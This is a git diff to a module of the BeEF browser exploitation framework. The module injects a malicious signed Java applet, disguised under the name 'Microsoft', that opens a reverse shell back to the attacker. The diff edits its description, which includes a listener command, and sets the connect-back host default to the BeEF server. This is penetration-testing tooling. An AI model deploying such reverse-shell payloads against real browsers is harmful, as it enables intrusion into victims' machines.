diff --git a/modules/exploits/java_payload/config.yaml b/modules/exploits/java_payload/config.yaml
index 468dd9228..e0fc31fd3 100755
--- a/modules/exploits/java_payload/config.yaml
+++ b/modules/exploits/java_payload/config.yaml
@@ -19,8 +19,8 @@ beef:
             enable: true
             category: "Exploits"
             name: "Java Payload"
-            description: "Inject a malicious signed Java Applet (JavaPayload) that connects back to the attacker giving basic shell commands, command exec and wget.<br/>Before launching it, be sure to have the JavaPayload StagerHandler listening<br/>, i.e.: java javapayload.handler.stager.StagerHandler <payload> <IP> <PORT> -- JSh"
+            description: "Inject a malicious signed Java Applet (JavaPayload) that connects back to the attacker giving basic shell commands, command exec and wget.<br /><br />Before launching it, be sure to have the JavaPayload StagerHandler listening,<br />i.e.: java javapayload.handler.stager.StagerHandler &lt;payload&gt; &lt;IP&gt; &lt;port&gt; -- JSh<br /><br />Windows Vista is not supported."
             authors: ["antisnatchor"]
             target:
                 not_working: ["FF"]
-                user_notify: ["All"]
\ No newline at end of file
+                user_notify: ["All"]
diff --git a/modules/exploits/java_payload/module.rb b/modules/exploits/java_payload/module.rb
index e21d6aaef..517bd1466 100755
--- a/modules/exploits/java_payload/module.rb
+++ b/modules/exploits/java_payload/module.rb
@@ -19,11 +19,12 @@ class Java_payload < BeEF::Core::Command
     BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/java_payload/AppletReverseTCP-0.2.jar', '/anti', 'jar')
   end
 
-
   def self.options
+    @configuration = BeEF::Core::Configuration.instance
+    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
     return [
         {'name' => 'conn', 'ui_label' => 'Payload', 'value' => 'ReverseTCP'},
-        {'name' => 'cbHost', 'ui_label' => 'Connect Back to Host', 'value' => '192.168.56.1'},
+        {'name' => 'cbHost', 'ui_label' => 'Connect Back to Host', 'value' => beef_host},
         {'name' => 'cbPort', 'ui_label' => 'Connect Back to Port', 'value' => '6666'},
         {'name' => 'applet_id', 'ui_label' => 'Applet id', 'value' => rand(32**20).to_s(32)},
         {'name' => 'applet_name', 'ui_label' => 'Applet name', 'value' => 'Microsoft'}